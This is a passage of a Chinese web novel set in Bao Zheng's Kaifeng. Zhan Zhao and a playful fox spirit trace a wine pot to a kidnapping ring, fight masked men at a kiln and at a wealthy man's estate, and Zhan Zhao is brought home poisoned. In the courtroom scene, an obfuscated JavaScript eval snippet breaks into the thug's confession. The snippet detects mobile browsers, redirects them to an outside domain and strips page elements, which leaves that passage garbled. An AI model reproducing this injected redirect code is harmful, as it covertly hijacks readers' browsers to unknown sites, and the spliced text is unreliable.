展昭的指节微微收紧。这狐狸身上的味道本该是野性而粗粝的,此刻混着井底的湿意,竟奇异地勾得他心头发痒。他能清晰地感觉到尾巴尖扫过指尖的触感,毛茸茸的,带着点微凉的湿意,像有只小虫子在皮肤上游走。 “再闹,就真把你扔下去。”他的声音有些发紧,指尖却不自觉地放松了些,没让她晃得太厉害。 林狐才不怕他的威胁。她晃得更起劲了,尾巴勾着他的手指,身体在空中划出一道弧线,还故意用后腿去踢井壁上的青苔。“喵呜~”她突然学了声猫叫,声音软乎乎的,心里却在想:吓唬谁呢?你舍不得。 展昭的额角抽了抽。这狐狸不仅胆大,还越来越没规矩了。他不再跟她废话,抓住麻绳的手一用力,将她往自己这边拽。 林狐正荡得高兴,冷不防被他拽了过去,一时没稳住,整个身子撞进他怀里。她下意识地张开嘴,刚好含住了他伸过来的指尖。 不是咬,只是轻轻含住,还用牙尖极轻地磕了一下,像小猫在跟人撒娇。 展昭的呼吸猛地一滞。 指尖传来柔软温热的触感,带着点湿润的潮气,那轻轻的一磕像是羽毛搔过心尖,麻痒的感觉顺着手臂蔓延开来,直窜心底。他的耳根瞬间泛起薄红,猛地抽回手,动作快得有些狼狈。 林狐被他突如其来的反应吓了一跳,眨巴着琥珀色的眼睛看着他:“你怎么了?” 展昭没说话,只是深吸一口气,压下心底的异样。他低头看向她,发现她的尾巴尖还勾着自己的袖口,井边的野草被风吹得贴在他的靴面上,也缠上了她摇来晃去的尾巴尖,像是在无声地缠绕。 井绳在风中吱呀作响,将他的影子和她的影子投射在井壁上,被风吹得摇摇晃晃,缠成一团歪歪扭扭的画。 “安分点,下去了。”展昭的声音恢复了惯常的沉稳,只是耳根的红还未褪去。他不再拎着林狐的后颈,而是将她塞进怀里,用绯红的官袍裹住,只露出一颗毛茸茸的脑袋。 “唔……这样还差不多。”林狐满意地在他怀里蹭了蹭,找了个舒服的姿势,把脸埋在他的胸口,闻着他身上清冽的皂角香,刚才那点惊吓早就抛到九霄云外去了。 展昭抱着她,抓着麻绳,纵身跳下枯井。 井底的潮气比刚才更重了,浓重的霉味混杂着老鼠的臊气扑面而来,让人忍不住皱眉。展昭落地时很轻,几乎没发出声音。他松开麻绳,从怀里摸出火折子,“嚓”地一声点燃。 橘红色的火光瞬间照亮了井底的景象。这口枯井比看起来要大些,井底积着厚厚的淤泥,角落里堆着些破旧的麻袋和木板,想来是那些人用来给孩子们垫着坐的。几只老鼠被火光惊动,吱吱叫着钻进麻袋的破洞里,消失不见。 “哇,好黑啊。”林狐从他怀里探出头,好奇地打量着四周,尾巴因为紧张而微微绷紧,“这里真有线索吗?” “仔细找找。”展昭没看她,目光落在那些破旧的麻袋上。他小心翼翼地走过去,用剑鞘(他刚才又把剑拿了回来)拨开麻袋,里面空空如也,只有些干草和碎石。 林狐也从他怀里跳了下来,借着微弱的火光四处嗅闻。藏狐的嗅觉本就灵敏,此刻更是发挥得淋漓尽致。她能闻到孩子们留下的汗味,老鼠的臊味,还有……一丝若有若无的酒香? “展昭,这边!”她突然朝着一个黑暗的角落叫了一声,声音里带着兴奋。 展昭立刻走了过去。那是井壁的一个凹陷处,里面堆着些碎石。林狐用爪子扒开碎石,露出了一个小巧的酒壶。 那是个紫砂酒壶,看起来有些年头了,壶身上刻着简单的花纹,已经被淤泥糊得看不太清。展昭弯腰将酒壶捡起来,轻轻擦去上面的泥污。壶口还塞着个木塞,他拔开木塞,一股奇异的酒香立刻弥漫开来。 那香味很特别,不像寻常的米酒那样清冽,也不像烈酒那样辛辣,反而带着点淡淡的药味和果香,醇厚而绵长,闻着竟让人有些心神荡漾。 “这是什么酒?闻起来好奇怪。”林狐凑过去闻了闻,忍不住打了个喷嚏,“阿嚏!好冲!” 展昭晃了晃酒壶,里面还有些液体晃动的声音。他对着火光看了看,壶里还剩几口酒,颜色呈琥珀色,质地浓稠,挂在壶壁上久久不散。 “这酒不一般。”展昭的眼神变得凝重起来,“寻常百姓喝不起这样的酒,而且……这酒味很特别,应该不难追查。” 他小心地把木塞塞回去,将酒壶放进怀里:“这或许是个重要线索。” 林狐看着他把酒壶收好,又继续在井底嗅闻起来,希望能再发现些什么。她扒开碎石,钻进麻袋,甚至还去舔了舔井底的淤泥(结果被展昭一把拽了回来),却再也没发现其他有价值的东西。 “看来就只有这个了。”林狐有些失望地甩了甩尾巴,上面沾了不少泥污,“我们上去吧,这里好难闻。” 展昭点点头,将她抱起来揣进怀里,抓着麻绳,纵身向上爬去。 回到地面时,阳光已经升高了些,照在身上暖洋洋的。林狐从他怀里探出头,深吸了一口新鲜空气,舒服地眯起了眼睛。 “走吧,回开封府。”展昭对守在井边的老衙役吩咐了几句,让他继续守在这里,等后续安排,然后抱着林狐,转身往开封府走去。 ***开封府的公堂之上,气氛凝重得几乎能滴出水来。 包拯端坐在公案后,眉头紧锁,手里捏着惊堂木,却迟迟没有拍下。跪在堂下的正是那个从枯井边抓到的看守汉子,此刻吓得浑身发抖,却依旧一口咬定自己什么都不知道。 “大人,小的真的只是个跑腿的!”汉子连连磕头,额头都磕出了血,“小的每天就负责给井里的孩子送点吃的,其他的事一概不知啊!” “那你总该知道是谁让你干的吧?他们有什么特征?”公孙策站在一旁,温声问道,试图从他嘴里套出些有用的信息。 汉子眼神闪烁,支支吾吾地说:“小的……小的不知道他们长什么样,每次都是蒙着脸的……他们给了小的一笔钱,让小的照做……” 包拯重重地哼了一声,拿起惊堂木,却被公孙策悄悄按住了。公孙策对他摇了摇头,示意他不要急。 就在这时,展昭抱着林狐走进了公堂。 “展护卫,你回来了。”包拯的目光落在他怀里的狐狸身上,眉头皱得更紧了,“你怎么还带着这狐狸?” “大人,这狐狸倒也有些用处,刚才在枯井里帮着发现了个线索。”展昭说着,从怀里掏出那个紫砂酒壶,递给公孙策,“公孙先生,你看这个。” 公孙策接过酒壶,拔开木塞闻了闻,眼睛顿时亮了:“这是……‘醉流霞’?” “醉流霞?”包拯和展昭异口同声地问道。 “正是。”公孙策点点头,小心翼翼地晃了晃酒壶,“这‘醉流霞’是西域传来的名酒,用多种药材和水果酿造而成,味道醇厚,价格不菲,在开封府只有几家高档酒楼才有售卖。而且……这酒的颜色和挂壁情况,应该是三年以上的陈酿,更是难得。” “这么说来,这酒的主人身份不一般?”包拯的眉头舒展了些,“或许能从这酒壶查到些线索。” “正是。”公孙策将酒壶收好,“属下这就去查查开封府哪家酒楼售卖这种‘醉流霞’,尤其是三年以上的陈酿。” “好。”包拯点点头,目光又落在堂下的汉子身上,眼神变得锐利起来,“你说你什么都不知道,那这酒壶你总该认识吧?这可是在枯井里发现的!” 汉子看到那酒壶,脸色顿时变得惨白,嘴唇哆嗦着,却说不出一句话来。 展昭上前一步,眼神锐利如剑:“这酒壶的主人,是不是就是你说的‘头儿’?他们什么时候来转移孩子?” 在展昭的逼视下,汉子的心理防线终于崩溃了,瘫软在地,哭着说:“我说!我说!那酒壶是……是‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268096|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀疤脸’的!他是我们的头儿之一!他说今晚三更,在城东的废弃窑厂转移孩子……” 案情终于有了突破性的进展。包拯立刻下令,让展昭带着衙役,今晚去城东废弃窑厂埋伏,务必将这伙拐卖团伙一网打尽。 公孙策则拿着酒壶,去追查“醉流霞”的来源。 公堂的气氛终于缓和了些。展昭抱着林狐,正准备退下,却听到怀里传来一声“咕噜”声。 林狐不好意思地眨了眨眼:“那个……我饿了,早上的烧鸡早就消化完了。” 展昭无奈地叹了口气,刚想说话,就见林狐突然从他怀里跳了下来,跑到公案前,用爪子扒拉着公孙策刚才没来得及收起来的卷宗。 “喂,这些是什么啊?”她好奇地用爪子翻开一页,看到上面画着些小人,顿时来了兴趣,用爪子在上面乱抓乱画起来。 “放肆!”包拯低喝一声,却没真的生气。 “嗷嗷!”林狐被他吓了一跳,却不甘心地叼起一页卷宗,跑到展昭身边,把卷宗往他怀里塞,像是在邀功。 展昭看着那被她咬出牙印的卷宗,额头青筋跳了跳,连忙把卷宗拿下来,还给公孙策,嘴里不停道歉:“属下管教不严,让大人和先生见笑了。” 公孙策笑着摆了摆手:“无妨,这狐狸倒也有趣,倒是缓解了不少紧张气氛。” 包拯也难得地露出一丝笑意:“罢了,你赶紧带它下去吧,别让它再捣乱了。” “是。”展昭连忙抱起林狐,快步离开了公堂。 走出公堂,林狐才松了口气,在他怀里蹭了蹭:“你家老板好凶啊,吓死我了。” “那是包大人,不是老板。”展昭纠正她,语气却缓和了些,“还有,以后不许在公堂上捣乱,知道吗?” “知道啦知道啦。”林狐敷衍地答应着,眼睛却滴溜溜地转着,不知道在想什么鬼主意,“对了,我们现在是不是可以去吃烧鸡了?我真的饿了。” 展昭看着她那副馋样,无奈地摇了摇头,抱着她往府衙外的熟食铺走去。阳光照在他的绯红官袍上,泛着温暖的光泽,怀里的狐狸哼唧着,尾巴偶尔扫过他的手腕,带来一阵细微的痒意。 他低头看了看怀里的林狐,突然觉得,有这么一只调皮捣蛋的狐狸在身边,似乎也不是什么坏事。至少,在这充满阴霾的案情中,能带来一丝意想不到的暖意和乐趣。 只是他不知道,这只狐狸带来的,远不止这些。 ***傍晚时分,公孙策回来了,脸上带着兴奋的神色。 “大人,展护卫,查到了!”公孙策走进书房,手里拿着一本账簿,“这‘醉流霞’在开封府只有‘醉仙楼’有售卖,而且三年以上的陈酿,只卖给过一个人——城西的张大户!” “张大户?”包拯和展昭对视一眼,这个名字有些熟悉。 “正是。”公孙策点点头,“而且属下翻看了近五年的卷宗,发现一个奇怪的现象——凡是丢失孩子的家庭,都与这位张大户有些许生意往来。” “这么说来,这个张大户很有可能就是拐卖团伙的幕后主使?”展昭的眼神变得锐利起来。 “极有可能。”公孙策沉声道,“而且属下还发现,前任开封府尹在任时,对于这些孩子失踪的案子,都只是草草结案,甚至有些根本没有立案。这里面,恐怕另有隐情。” 包拯的脸色变得凝重起来:“看来这案子比我们想象的还要复杂。不仅牵扯到拐卖团伙,可能还牵扯到官场的腐败。” “大人,那今晚的行动……”展昭问道。 “按原计划进行。”包拯沉声道,“先将窑厂的人一网打尽,再顺藤摸瓜,挖出幕后主使。至于张大户,先不要打草惊蛇,派人盯着他。” “是。”展昭点点头,转身准备去安排。 就在这时,林狐突然从外面跑了进来,嘴里叼着一只老鼠,跑到展昭面前,得意地摇着尾巴。 “嗷嗷!”你看我抓到了什么! 展昭看着她嘴里的老鼠,额头青筋跳了跳,连忙把她抱起来,不让她靠近账簿:“你又去哪捣乱了?” “我没捣乱啊,”林狐委屈地说,“我就是看到这只老鼠在书房外面鬼鬼祟祟的,就把它抓来给你了。你看我厉害吧?” 公孙策看着这只抓老鼠的狐狸,突然笑了:“展护卫,你这狐狸倒是挺能干的,连老鼠都能抓到。” 展昭无奈地笑了笑,抱着林狐往外走:“我先把它带下去,免得再捣乱。” 看着展昭抱着狐狸离开的背影,包拯和公孙策对视一眼,都从对方眼中看到了一丝笑意。有这么一只活宝在,倒也能缓解不少办案的压力。 只是他们都没想到,这只看似只会捣乱的狐狸,在不久的将来,会成为破案的关键。 夜幕渐渐降临,开封府笼罩在一片寂静之中。但所有人都知道,一场硬仗即将开始。展昭已经带着衙役出发,前往城东的废弃窑厂埋伏。而林狐,则被展昭留在了府里,由一个小衙役看着。 但林狐怎么可能乖乖待着?她趁小衙役不注意,偷偷溜了出去,凭着记忆,朝着城东的方向跑去。她不知道前面有什么危险,只知道展昭在那里,她不能让他一个人面对。 夜色渐深,一场惊心动魄的抓捕即将展开。而这只调皮捣蛋的藏狐,又会在其中扮演什么样的角色呢? 5. 抓捕 夜色像泼翻的墨汁,把城东的废弃窑厂浸得透湿。断壁残垣上爬满了枯黄的藤蔓,被晚风扯得哗哗作响,像是无数只手在暗中挥舞。展昭蹲在最高的那座窑顶,玄色夜行衣与阴影融成一片,只有握着剑柄的手指泛着冷白的光。 怀里的林狐不安分地动了动,鼻尖蹭过他的锁骨,带着点潮湿的土腥味。她的尾巴卷着他的腰侧,毛茸茸的触感透过布料渗进来,像揣了团暖烘烘的炭火。 原本是没带上这只调皮狐狸的,可是一路上死缠烂打的为了不打草惊蛇也只得揣在身上了。 “别动。”展昭低头,用气音在她耳边说。温热的气息拂过她最软的耳后绒毛,林狐忍不住打了个哆嗦,喉咙里发出细碎的“呜呜”声,倒像是在撒娇。 她才不是想动,是这窑厂太吓人了。风从窑孔里钻进去,发出“呜呜”的怪响,像有无数冤魂在哭;墙角的野草长得比她还高,叶片上的露水打湿了她的爪子,凉得她直缩腿。更要命的是,她总能闻到一股淡淡的血腥味,混着铁锈和霉味,钻进鼻腔里刺得人发慌。 “他们真的会来?”林狐把脸埋进他胸口,声音闷闷的。白天从枯井里救出来的孩子说,那些人要在三更天来转移“货物”,可现在梆子都敲过两响了,连个鬼影都没见着。 展昭没说话,只是把她往怀里紧了紧。他的指尖划过她背上的狐毛,顺着脊椎的弧度轻轻抚过,像是在安抚,又像是在确认怀里的小生命是真实存在的。从枯井回来后,他总觉得这狐狸身上有种奇异的魔力,明明是只偷鸡摸狗的野东西,却总能在最紧张的时候,让他紧绷的神经松快半分。 远处突然传来一阵马蹄声,很轻,像是刻意放慢了速度。展昭的耳朵立刻竖了起来,掌心按在剑柄上,指节因为用力而泛白。怀里的林狐也察觉到了,瞬间绷紧了身子,尾巴尖的毛“唰”地炸开,像把小扫帚。 “来了。”展昭低喝一声,目光如鹰隼般锁定在窑厂入口的方向。 三辆马车悄无声息地停在了窑厂外,车帘紧闭,车轮上还沾着新鲜的泥。八个蒙面人从车上跳下来,动作利落得像狸猫,手里都握着短刀,耳后隐约能看到深色的刺青——只是光线太暗,看不清具体模样。 “动作快点,头儿说今晚必须把货转走。”一个沙哑的声音低声吩咐,“那几个小崽子呢?” “在最里面的窑里锁着呢。”另一个人回话,“刚喂了安神药,闹不起来。” 蒙面人说着就要往窑厂深处走,展昭突然从窑顶跃下,玄色身影在月光下划出一道利落的弧线,落地时带起的风卷得地上的枯叶打着旋儿飞。 “开封府办案,束手就擒!” 巨阙剑“噌”地出鞘,剑光如练,瞬间劈开了夜的浓稠。蒙面人显然没料到会有埋伏,惊得后退半步,随即抽出短刀迎了上来。 “杀!”沙哑的声音一声令下,七八把短刀同时劈向展昭,刀风裹着寒气,竟比这秋夜的风还要冷。 展昭不慌不忙,手腕一翻,剑花挽得密不透风。巨阙剑本就锋利无匹,在他手里更如活物般,每一次挥出都带着破空的锐响,逼得蒙面人连连后退。青石板地上很快溅上了血珠,混着被剑气斩断的草叶,散发出腥甜的气息。 林狐被他护在怀里,只露出两只眼睛,紧张地盯着战局。她看到有个蒙面人绕到展昭身后,短刀带着寒光刺向他的后心,吓得她猛地从他怀里蹿出来,对着那人的手背就是一口。 “嗷呜!”她咬得又快又狠,獠牙刺破皮肤,尝到了咸腥的血味。 那蒙面人疼得闷哼一声,动作顿了半分。就是这半分的空隙,展昭已回过身,剑脊重重磕在他的手腕上,短刀“当啷”落地。 “添乱!”展昭挥剑时低斥,却在林狐被另一个蒙面人拽住尾巴时,第一时间变招,剑锋擦着她的尾尖掠过,硬生生斩断了对方的两根手指。 血溅在林狐的尾巴上,温热的液体顺着绒毛往下滴。她吓得浑身发抖,却还是转头狠狠咬住那人的手背,像只被惹急了的野猫,喉咙里发出“呜呜”的威胁声,像是在骂“敢碰老娘”。 “找死!”被咬住的蒙面人怒喝,另一只手抽出腰间的匕首就要刺下去。展昭看得目眦欲裂,剑随身走,硬生生在那人胸前划开一道血口,逼得他连连后退。 混乱中,有辆马车突然动了,车夫扬鞭催马,竟想趁乱逃跑。展昭刚要去追,怀里的林狐突然对着车轱辘撒了泡尿——正是当初蹭脏他官袍的“绝技”。 “嗤”的一声,尿水溅在转动的车轮上,车夫吓得猛打方向,马车“哐当”一声撞在断墙上,车厢板裂开个大洞,露出里面蜷缩的两个孩子。 “抓住他!”展昭指着那车夫对赶来的衙役喊道,自己则转身对付剩下的蒙面人。 缠斗持续了近一炷香的时间。当最后一个蒙面人被巨阙剑抵住咽喉时,窑厂的断壁上已挂满了灯笼,橘色的光把满地的狼藉照得一清二楚:断裂的兵器、散落的铜钱、还有几具渐渐冰冷的尸体。 展昭收剑回鞘,胸口剧烈起伏着,额角的汗珠顺着下颌线滑落,滴在玄色衣襟上,晕开一小片深色。他低头看向怀里的林狐,她正用舌头舔着爪子上的血,尾巴上沾着的草屑扫过他的手腕,又 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林狐似乎听懂了这个名字,突然对着东方叫了两声,尾巴指向城外的方向。那里是张大户的庄园,青砖高墙在月色下像头蛰伏的巨兽。 展昭把紫檀木盒交给衙役,又吩咐人将获救的孩子送回开封府,自己则转身走向窑厂深处。月光从窑顶的破洞漏下来,在地上投下圆圆的光斑,像块被打碎的铜镜。他的影子被拉得很长,林狐的影子就贴在他脚边,毛茸茸的一团,跟着他一步步往前走。 “想跟去?”展昭低头看她,她正用爪子扒着他的裤腿,眼睛亮得像两颗浸了水的黑琉璃。 林狐重重地点头,喉咙里发出“呜呜”的声音,像是在保证“这次绝不添乱”。 展昭没说话,弯腰将她抱进怀里。翻墙时,她的狐毛扫过他的脖颈,像被石榴树的尖刺轻轻刮过。落地时他扶了她一把,指尖触到她耳后最软的毛,恰如墙头垂落的月光,凉丝丝的,却烫得他指尖发麻。 远处传来更夫敲三更的梆子声,沉闷的响声混着零星的狗吠,在夜色里荡开涟漪。展昭的身影很快消失在通往张府的官道上,怀里的狐狸探着头,琥珀色的眼睛“里映着越来越近的青砖高墙,尾巴尖不自觉地绷紧——她还不知道,这趟夜探,会让她和他在生死边缘,啃出一段又疼又暖的牵绊。 石榴树的青果还挂在枝头,被晚风晃得轻轻摇晃,像在无声地预告着什么。而张府深处,廊下的灯笼正晃出细碎的光,将一个耳后带着月牙刺青的影子,投在青砖地上,又长又暗…… 6. 夜探张府,狐撞杀机 夜幕像块浸了墨的绒布,沉沉压在开封府的屋顶上。展昭换了身夜行衣,玄色布料贴在身上,勾勒出紧实的肌肉线条。他将巨阙剑斜背在身后,指尖刚触到门闩,就听见身后传来细碎的“窸窣”声。 林狐叼着他白天换下的绯红官袍一角,颠颠地跑过来,尾巴翘得老高。“带我去!”她把官袍往他脚边一甩,用爪子扒着他的裤腿,琥珀色的眼睛在月光下亮得像两颗琉璃珠,“你不带我,我就把你官袍叼去狗窝里!” 展昭的额角抽了抽。这狐狸自从枯井那趟回来,越发没规矩了。他弯腰想把她抱回榻上,指尖刚碰到她后颈的软毛,就被她顺势往怀里钻,毛茸茸的肚子贴着他的手腕蹭来蹭去。 “嗷呜~”她发出软乎乎的叫声,活像只讨食的猫,心里却在盘算着怎么赖上他。 “胡闹。”展昭低声斥道,却没真把她推开。张大户府里情况不明,带着只狐狸确实碍事,可一想到她被单独留下时那委屈的眼神,拒绝的话就卡在了喉咙里。他最终还是叹了口气,将她塞进怀里,用夜行衣的前襟裹住,只露出个毛茸茸的脑袋,“进去后不许出声,更不许乱跑,否则……” “否则就把我扔给狗,知道啦!”林狐抢在他前面说完,得意地用尾巴尖勾了勾他的下巴,像在嘲笑他的口是心非。 展昭的喉结轻轻滚动了一下,转身推开房门,身影瞬间融入夜色。 ***张大户的府邸在城西,青砖高墙围着偌大的院子,檐角挂着的灯笼在夜里泛着昏黄的光,看着倒像是户本分的富绅人家。可展昭知道,越是这样看似无害的表象下,越可能藏着龌龊。 他借着院墙外那棵老槐树的掩护,悄无声息地攀上墙头。瓦片在脚下发出细微的声响,混着远处传来的更鼓声,倒也不显得突兀。他低头看了眼怀里的林狐,她正睁着圆溜溜的眼睛,好奇地打量着院子里的景象,尾巴在他衣襟里轻轻扫动,带来一阵痒意。 “安分点。”他用指尖轻轻敲了敲她的脑袋,声音压得极低。 林狐不满地“哼”了一声,却乖乖地没再乱动。 院子里很静,只有风吹过树叶的沙沙声。展昭观察了片刻,确认没有巡逻的护院,便抱着林狐,像片落叶般轻盈地跳了下去。落地时他特意收了势,生怕震到怀里的小东西。 可他还是低估了林狐的“破坏力”。 落地的瞬间,旁边一棵石榴树突然“哗啦”一声响。林狐不知何时从他怀里钻了出来,正踩着树干往上蹿,蓬松的大尾巴扫落了一地青果。那些青果砸在青砖地上,发出清脆的“噼啪”声,在这寂静的夜里格外刺耳。 “你干什么!”展昭又惊又气,伸手想去抓她,已经来不及了。 更糟的是,几声狗吠突然从后院传来,紧接着就是铁链拖地的“哐当”声,显然是被这动静惊动了。 “坏了!”展昭低骂一声,知道行踪已经暴露。他想也没想,转身就朝最近的书房跑去,同时不忘伸手捞住还在石榴树上蹦跶的林狐,将她死死按在怀里。 林狐被他按得有点喘不过气,不满地挣扎着:“放开我!你看那树上有只肥老鼠!” 原来林狐没能抵抗住狐狸的天性,看到老鼠就一个劲儿的扑了过去,惹得这般动静。 展昭根本没工夫理她。身后的狗吠声越来越近,还夹杂着护院的呵斥声。他几个起落就冲到了书房门口,手腕一翻,抽出腰间的短刀,“咔哒”一声挑开了门锁。 刚冲进书房,身后就传来了急促的脚步声。展昭反手将门关上,还没来得及喘口气,就感觉到一股凌厉的杀气扑面而来。 月光从窗棂照进来,在地上投下斑驳的光影。书房正中央,一个蒙面人正蹲在书桌前,手里拿着个锦盒,显然是在翻找什么。听到动静,那人猛地转过身,手里的短刀在月光下闪着寒光,直刺展昭面门。 展昭早有防备,侧身避开这凌厉的一击,同时将怀里的林狐往身后一推:“躲好!” 林狐被他推得打了个趔趄,却没听话躲起来。她蹲在书架后面,瞪着圆溜溜的眼睛,紧张地看着场中的打斗。 展昭的身手显然在那蒙面人之上,可对方招式狠辣,招招都往要害招呼,倒也一时难以取胜。两人在狭小的书房里缠斗,桌椅被撞得东倒西歪,笔墨纸砚散落一地,空气中弥漫着浓烈的火药味。 “展昭小心!”林狐突然尖叫起来。 展昭闻言,猛地侧身,堪堪避开了蒙面人从斜刺里递来的一刀。那刀划破了他的衣袖,带起一串血珠,溅落在旁边的古籍上,像绽开了一朵妖艳的花。 展昭眼神一凛,不再留手。他脚下步法变幻,手中短刀如灵蛇出洞,招招紧逼。蒙面人渐渐不敌,被逼得连连后退,眼看就要被擒。 就在这时,那蒙面人突然从怀里掏出个小瓷瓶,猛地朝展昭撒去一阵白雾。 “不好!是迷药!”展昭心中一警,连忙屏住呼吸后退,可还是晚了一步,有少许白雾吸入鼻腔,顿时觉得头晕目眩,手脚也有些发软。 蒙面人见状,眼中闪过一丝得意,挥刀再次刺来。展昭强忍着眩晕,勉强避开,却被对方一脚踹中胸口,闷哼一声,后退了好几步,撞在书架上,书架上的书噼里啪啦地掉了下来,砸了他一身。 “展昭!”林狐急得眼睛都红了。她看着展昭痛苦的样子,又看了看那步步紧逼的蒙面人,突然像道灰影子般冲了出去。 那蒙面人正准备给展昭致命一击,冷不防脚边一热,低头一看,差点没气晕过去——那只该死的狐狸,竟然对着他的脚撒尿! 尿水顺着裤腿流下来,带着股骚臭味,蒙面人下意识地往旁边躲。就在这一瞬间的空隙,展昭强提一口真气,手中短刀出鞘,快如闪电般挑向蒙面人的面罩。 “嗤啦”一声,面罩被挑落,露出一张普通的脸。可当看到那人耳后时,展昭瞳孔骤缩——那里有一个月牙剑形的刺青! 是雷英的死士! 雷英是江湖上一个神秘组织的头目,行事狠辣,手下死士众多,没想到这次拐卖孩子的案子竟然牵扯到了他。 蒙面人显然也没想到展昭在中了迷药的情况下还能反击,又惊又怒,转身就想逃跑。林狐见状,猛地蹿了上去,一口咬住他的手背,獠牙狠狠刺破皮肤。 “嗷呜——!”她发出凶狠的叫声,像是在骂“敢碰老娘的人”。 蒙面人吃痛,反手一掌拍向林狐。展昭见状,想也没想就挥剑斩去,硬生生斩断了对方的手腕。鲜血喷涌而出,溅了林狐一身。 “走!”展昭拉起林狐,转身就往后门冲去。他知道,这里不宜久留,雷英的死士既然出现了,肯定还有后援。 林狐被他拽着,一路跌跌撞撞地往后门跑。她的尾巴上还沾着血,跑起来一甩一甩的,在地上拖出一串血痕。 刚冲到后门,就见两个蒙面人从拐角处冲了出来,手里都拿着刀。展昭眼神一沉,将林狐往身后一护,挥刀迎了上去。 可他中了迷药,头晕得越来越厉害,动作也慢了下来。没几个回合,就被其中一个蒙面人抓住了破绽,一刀砍在他的肩膀上,鲜血瞬间染红了玄色的夜行衣。 “展昭!”林狐急得团团转。她看着那两个蒙面人步步紧逼,突然灵机一动,朝着其中一个冲了过去。
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展昭的手按在她的腰上,狐毛混着血粘在掌心,又痒又烫。他看着压在自己身上的林狐,她的脸上沾满了泥土,一只眼睛被血糊住了,看起来狼狈极了,可那双琥珀色的眼睛里,却盛满了担忧。 月光从墙头漏下来,照在她沾了泥的狐脸上,和他渗血的肩头。疼痛里,竟然裹着一丝说不清道不明的暖意。 “你……没事吧?”林狐的声音带着哭腔,轻轻用脑袋蹭了蹭他的脸颊。 展昭摇摇头,想说话,却忍不住咳嗽起来,嘴角又溢出一丝血。他强撑着坐起来,将林狐抱进怀里,踉跄着躲进旁边的小巷里。 巷子里很黑,只有远处灯笼的光偶尔透进来。展昭靠在墙上,大口喘着气,迷药的效力越来越强,眼前阵阵发黑。他知道自己不能倒下,必须尽快离开这里,回到开封府报信。 林狐感觉到了他的虚弱,安静地窝在他怀里,用舌头轻轻舔着他流血的嘴角,像是在给他疗伤。她的动作很轻,带着狐狸特有的柔软,竟让展昭觉得舒服了些。 “傻狐狸……”展昭低声骂了一句,声音里却没有丝毫责备,反而带着一丝不易察觉的温柔。他抬手摸了摸她的头,指尖触到她耳后最软的毛,恰如墙头垂落的月光,凉丝丝的,却烫得他指尖发麻。 就在这时,巷口传来了脚步声。展昭立刻警惕起来,将林狐往怀里紧了紧,另一只手握住了刀柄。 幸好,来的是几个巡夜的衙役。他们看到展昭的样子,吓了一跳,连忙跑过来搀扶。 “展护卫!您怎么了?” “快……快回开封府……”展昭说完这句话,就再也支撑不住,眼前一黑,晕了过去。 林狐吓坏了,在他怀里使劲挣扎,发出“嗷嗷”的哭叫声。衙役们见状,不敢耽搁,连忙抬起展昭,往开封府的方向跑去。 林狐趴在展昭的胸口,听着他微弱的心跳声,心里又害怕又难过。她用脑袋蹭了蹭他的脸,在心里默默地说:展昭,你可千万别有事啊……我还没跟你要够烧鸡呢…… 夜色依旧深沉,可小巷里,却仿佛有什么东西,在悄然改变着。那只总是调皮捣蛋的藏狐,第一次体会到了担忧的滋味,而那个一向端方克制的南侠,或许也在昏迷中,感受到了一丝来自狐狸的、笨拙却真诚的暖意。 石榴树的青果还在地上滚着,脆响混着远去的脚步声,惊得天边的月亮悄悄探出了半张脸。月光洒在空荡荡的小巷里,把那些散落的血迹和狐毛,都镀上了一层淡淡的银辉,像一幅被揉皱了,却依旧温暖的画。 7. 暗流涌动 开封府的夜总是比别处更沉。 展昭被衙役抬回来时,玄色夜行衣已被血浸透大半,肩头的伤口还在往外渗血,混着些青黑色的粉末——公孙策后来才认出,那是西域的“断魂散”,沾染皮肤便会发麻,吸入更是能让人四肢瘫软。 林狐死死扒着他的衣襟,爪子深深陷进布料里,尖牙咬着他染血的袖口不肯松口。她的脸蹭满了血污,一只眼睛被血糊住,看起来狼狈极了,喉咙里却不停地发出细碎的“呜呜”声,像被遗弃的幼崽在哭。 “快!把展护卫抬到偏院!”包拯的声音带着从未有过的急切,平日里沉稳的步伐都乱了几分。公孙策早已提着药箱候在门口,看到展昭这副模样,眉头瞬间拧成了疙瘩。 衙役们小心翼翼地将展昭抬到床上,林狐被其中一个衙役不小心碰了一下,立刻炸毛般扑上去,对着那衙役的手就咬了一口。 “嗷呜!”(不许碰他!) 那衙役吃痛缩回手,却不敢真动气。这狐狸刚才在窑厂帮着撞翻马车、咬伤蒙面人的事,他们都看在眼里,此刻见她护着展护卫的样子,只觉得又好气又好笑。 “让她留下吧。”公孙策一边剪开展昭的衣袖,一边对那衙役说,“她守着,或许能让展护卫安心些。” 林狐像是听懂了,立刻放弃了攻击,跳上床榻,蜷缩在展昭的枕边。她用舌头小心翼翼地舔着他冰凉的手背,尾巴轻轻扫过他的脸颊,像是在给他传递暖意。眼泪顺着她的眼角滑落,打湿了他的袖口,把原本就深色的布料浸得更深。 公孙策看着这一幕,动作顿了顿,随即叹了口气,低头专心处理伤口。银针落在展昭的穴位上,发出细微的“嗡嗡”声,青黑色的毒血顺着针孔慢慢渗出,空气中弥漫开一股苦涩的药味。 包拯站在一旁,眉头紧锁,看着展昭苍白如纸的脸,心里沉甸甸的。他知道,这次的案子绝不像表面看起来那么简单,能让雷英的死士出手,背后牵扯的势力定然不一般。 “公孙先生,展护卫他……” “放心,”公孙策头也不抬,声音沉稳,“断魂散虽烈,但我已用银针逼出大半,只是他失血过多,又中了迷药,怕是要昏睡几日。” 林狐竖着耳朵听着,虽然听不懂他们在说什么,但“昏睡几日”这几个字她还是听明白了。她猛地抬起头,用爪子扒拉着公孙策的衣袖,眼睛里满是焦急。 “嗷嗷!”(他什么时候能醒?) 公孙策被她拽得没办法,只好停下手里的活,伸手摸了摸她的头:“放心吧,他会醒的。你乖乖守着,别捣乱。” 林狐似懂非懂地点点头,又缩回展昭枕边,继续用舌头舔着他的手背。那动作笨拙又固执,看得旁边的衙役都忍不住红了眼眶。 